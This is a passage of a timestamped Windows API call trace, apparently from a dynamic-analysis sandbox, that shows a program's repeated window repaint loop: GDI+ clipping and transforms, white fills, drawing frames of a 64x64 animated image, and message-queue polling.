[0132.186] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0132.187] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0132.187] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0132.187] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0132.187] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0132.187] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0132.187] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0132.188] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0132.188] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.188] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0132.188] GdipCreateRegion (region=0x15dc20) returned 0x0 [0132.189] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0132.189] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0132.189] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0132.189] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0132.189] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0132.189] GetSystemMetrics (nIndex=42) returned 0 [0132.190] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0132.190] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0132.190] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0132.190] CoTaskMemFree (pv=0x1e7ac120) [0132.190] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0132.190] GdipCreateRegion (region=0x15d710) returned 0x0 [0132.190] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0132.191] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0132.191] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0132.191] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0132.191] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0132.191] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0132.192] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0132.192] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0132.192] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0132.192] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0132.193] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0132.193] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.193] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0132.193] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0132.193] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0132.193] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0132.193] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.193] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0132.193] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0132.193] GetCurrentObject (hdc=0x540107cb, type=0x1) returned 0x1b00017 [0132.194] GetCurrentObject (hdc=0x540107cb, type=0x2) returned 0x1900010 [0132.194] GetCurrentObject (hdc=0x540107cb, type=0x7) returned 0x1a05067e [0132.194] GetCurrentObject (hdc=0x540107cb, type=0x6) returned 0x18a002e [0132.194] SaveDC (hdc=0x540107cb) returned 1 [0132.194] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff8e0407c3 [0132.194] GetClipRgn (hdc=0x540107cb, hrgn=0xffffffff8e0407c3) returned 0 [0132.194] SelectClipRgn (hdc=0x540107cb, hrgn=0x5e040b8a) returned 2 [0132.194] DeleteObject (ho=0xffffffff8e0407c3) returned 1 [0132.195] DeleteObject (ho=0x5e040b8a) returned 1 [0132.195] OffsetViewportOrgEx (in: hdc=0x540107cb, x=0, y=0, lppt=0x27ebbd8 | out: lppt=0x27ebbd8) returned 1 [0132.195] GetNearestColor (hdc=0x540107cb, color=0xffffff) returned 0xffffff [0132.195] CreateSolidBrush (color=0xffffff) returned 0x66100190 [0132.195] FillRect (hDC=0x540107cb, lprc=0x15d7c0, hbr=0x66100190) returned 1 [0132.195] DeleteObject (ho=0x66100190) returned 1 [0132.195] RestoreDC (hdc=0x540107cb, nSavedDC=-1) returned 1 [0132.196] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.196] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x540107cb) returned 0x0 [0132.196] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd1a0dbd) returned 0x0 [0132.196] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.196] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0132.196] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0132.196] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0132.196] GetSystemMetrics (nIndex=42) returned 0 [0132.196] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0132.197] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0132.197] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0132.197] CoTaskMemFree (pv=0x1e7ac120) [0132.197] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0132.197] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0132.197] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0132.197] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0132.197] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x540107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0132.197] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.198] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x540107cb) returned 0x0 [0132.198] SelectObject (hdc=0x540107cb, h=0x185000f) returned 0x1a05067e [0132.198] DeleteDC (hdc=0x540107cb) returned 1 [0132.198] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.198] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0132.199] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0132.199] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0132.199] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0132.199] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0132.199] WaitMessage () returned 1 [0132.370] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0132.370] IsWindowUnicode (hWnd=0x2031e) returned 1 [0132.370] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0132.370] TranslateMessage (lpMsg=0x15e910) returned 0 [0132.370] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0132.371] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0132.371] GetCurrentThreadId () returned 0xec0 [0132.371] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0132.371] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0132.371] IsWindowUnicode (hWnd=0x2031e) returned 1 [0132.371] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0132.371] TranslateMessage (lpMsg=0x15e910) returned 0 [0132.371] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0132.371] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0132.372] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0132.372] CreateCompatibleDC (hdc=0x3010b83) returned 0x550107cb [0132.372] SelectObject (hdc=0x550107cb, h=0x1a05067e) returned 0x185000f [0132.372] GdipCreateFromHDC (hdc=0x550107cb, graphics=0x15daf0) returned 0x0 [0132.372] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0132.372] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0132.372] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0132.372] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0132.372] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0132.372] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0132.372] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0132.373] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0132.373] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.373] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0132.373] GdipCreateRegion (region=0x15dc20) returned 0x0 [0132.374] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0132.374] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0132.374] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0132.374] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0132.374] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0132.374] GetSystemMetrics (nIndex=42) returned 0 [0132.374] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0132.374] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0132.374] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0132.374] CoTaskMemFree (pv=0x1e7ac120) [0132.374] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0132.375] GdipCreateRegion (region=0x15d710) returned 0x0 [0132.375] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0132.375] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0132.375] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0132.375] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0132.375] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0132.375] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0132.376] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0132.376] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0132.376] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0132.376] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0132.376] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0132.377] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.377] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0132.377] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0132.377] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0132.377] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0132.377] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.377] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0132.377] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0132.377] GetCurrentObject (hdc=0x550107cb, type=0x1) returned 0x1b00017 [0132.377] GetCurrentObject (hdc=0x550107cb, type=0x2) returned 0x1900010 [0132.377] GetCurrentObject (hdc=0x550107cb, type=0x7) returned 0x1a05067e [0132.377] GetCurrentObject (hdc=0x550107cb, type=0x6) returned 0x18a002e [0132.378] SaveDC (hdc=0x550107cb) returned 1 [0132.378] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x5f040b8a [0132.378] GetClipRgn (hdc=0x550107cb, hrgn=0x5f040b8a) returned 0 [0132.378] SelectClipRgn (hdc=0x550107cb, hrgn=0xffffffff8f0407c3) returned 2 [0132.378] DeleteObject (ho=0x5f040b8a) returned 1 [0132.378] DeleteObject (ho=0xffffffff8f0407c3) returned 1 [0132.378] OffsetViewportOrgEx (in: hdc=0x550107cb, x=0, y=0, lppt=0x27ec510 | out: lppt=0x27ec510) returned 1 [0132.378] GetNearestColor (hdc=0x550107cb, color=0xffffff) returned 0xffffff [0132.378] CreateSolidBrush (color=0xffffff) returned 0x67100190 [0132.379] FillRect (hDC=0x550107cb, lprc=0x15d7c0, hbr=0x67100190) returned 1 [0132.379] DeleteObject (ho=0x67100190) returned 1 [0132.379] RestoreDC (hdc=0x550107cb, nSavedDC=-1) returned 1 [0132.379] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.379] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x550107cb) returned 0x0 [0132.379] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd180dbd) returned 0x0 [0132.379] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.379] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0132.379] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0132.379] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0132.380] GetSystemMetrics (nIndex=42) returned 0 [0132.380] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0132.380] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0132.380] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0132.380] CoTaskMemFree (pv=0x1e7ac120) [0132.380] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x12) returned 0x0 [0132.382] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0132.383] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0132.383] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0132.383] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0132.383] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x550107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0132.383] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.383] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x550107cb) returned 0x0 [0132.383] SelectObject (hdc=0x550107cb, h=0x185000f) returned 0x1a05067e [0132.383] DeleteDC (hdc=0x550107cb) returned 1 [0132.384] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.384] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0132.384] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0132.384] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0132.384] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0132.384] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0132.384] WaitMessage () returned 1 [0132.526] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0132.526] IsWindowUnicode (hWnd=0x2031e) returned 1 [0132.526] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0132.526] TranslateMessage (lpMsg=0x15e910) returned 0 [0132.526] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0132.527] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0132.527] GetCurrentThreadId () returned 0xec0 [0132.527] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0132.527] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0132.527] IsWindowUnicode (hWnd=0x2031e) returned 1 [0132.527] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0132.527] TranslateMessage (lpMsg=0x15e910) returned 0 [0132.527] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0132.527] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0132.528] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0132.528] CreateCompatibleDC (hdc=0x3010b83) returned 0x560107cb [0132.528] SelectObject (hdc=0x560107cb, h=0x1a05067e) returned 0x185000f [0132.528] GdipCreateFromHDC (hdc=0x560107cb, graphics=0x15daf0) returned 0x0 [0132.528] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0132.528] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0132.528] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0132.528] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0132.528] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0132.528] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0132.529] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0132.529] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0132.529] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.530] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0132.530] GdipCreateRegion (region=0x15dc20) returned 0x0 [0132.530] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0132.530] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0132.530] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0132.530] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0132.530] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0132.530] GetSystemMetrics (nIndex=42) returned 0 [0132.530] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0132.530] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0132.530] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0132.530] CoTaskMemFree (pv=0x1e7ac120) [0132.530] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0132.530] GdipCreateRegion (region=0x15d710) returned 0x0 [0132.531] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0132.531] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0132.531] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0132.531] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0132.531] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0132.531] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0132.531] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0132.532] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0132.532] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0132.532] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0132.532] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0132.532] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.532] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0132.532] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0132.533] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0132.533] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0132.533] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.533] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0132.533] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0132.533] GetCurrentObject (hdc=0x560107cb, type=0x1) returned 0x1b00017 [0132.533] GetCurrentObject (hdc=0x560107cb, type=0x2) returned 0x1900010 [0132.533] GetCurrentObject (hdc=0x560107cb, type=0x7) returned 0x1a05067e [0132.533] GetCurrentObject (hdc=0x560107cb, type=0x6) returned 0x18a002e [0132.533] SaveDC (hdc=0x560107cb) returned 1 [0132.533] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff900407c3 [0132.534] GetClipRgn (hdc=0x560107cb, hrgn=0xffffffff900407c3) returned 0 [0132.534] SelectClipRgn (hdc=0x560107cb, hrgn=0x60040b8a) returned 2 [0132.534] DeleteObject (ho=0xffffffff900407c3) returned 1 [0132.534] DeleteObject (ho=0x60040b8a) returned 1 [0132.534] OffsetViewportOrgEx (in: hdc=0x560107cb, x=0, y=0, lppt=0x27ed7f8 | out: lppt=0x27ed7f8) returned 1 [0132.534] GetNearestColor (hdc=0x560107cb, color=0xffffff) returned 0xffffff [0132.534] CreateSolidBrush (color=0xffffff) returned 0x68100190 [0132.534] FillRect (hDC=0x560107cb, lprc=0x15d7c0, hbr=0x68100190) returned 1 [0132.534] DeleteObject (ho=0x68100190) returned 1 [0132.534] RestoreDC (hdc=0x560107cb, nSavedDC=-1) returned 1 [0132.534] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.535] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x560107cb) returned 0x0 [0132.535] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd160dbd) returned 0x0 [0132.535] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.535] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0132.535] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0132.535] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0132.535] GetSystemMetrics (nIndex=42) returned 0 [0132.535] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0132.535] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0132.535] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0132.535] CoTaskMemFree (pv=0x1e7ac120) [0132.535] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0132.535] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0132.535] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0132.536] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0132.536] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x560107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0132.536] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.536] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x560107cb) returned 0x0 [0132.536] SelectObject (hdc=0x560107cb, h=0x185000f) returned 0x1a05067e [0132.536] DeleteDC (hdc=0x560107cb) returned 1 [0132.536] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0132.536] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0132.536] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0132.536] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0132.537] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0132.537] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0132.537] WaitMessage () returned 1 [0132.699] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0132.699] IsWindowUnicode (hWnd=0x2031e) returned 1 [0132.699] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0132.699] TranslateMessage (lpMsg=0x15e910) returned 0 [0132.699] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0132.699] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0132.699] GetCurrentThreadId () returned 0xec0 [0132.699] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0132.699] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0132.699] IsWindowUnicode (hWnd=0x2031e) returned 1 [0132.700] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0132.700] TranslateMessage (lpMsg=0x15e910) returned 0 [0132.700] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0132.700] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0132.700] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0132.700] CreateCompatibleDC (hdc=0x3010b83) returned 0x570107cb [0132.700] SelectObject (hdc=0x570107cb, h=0x1a05067e) returned 0x185000f [0132.700] GdipCreateFromHDC 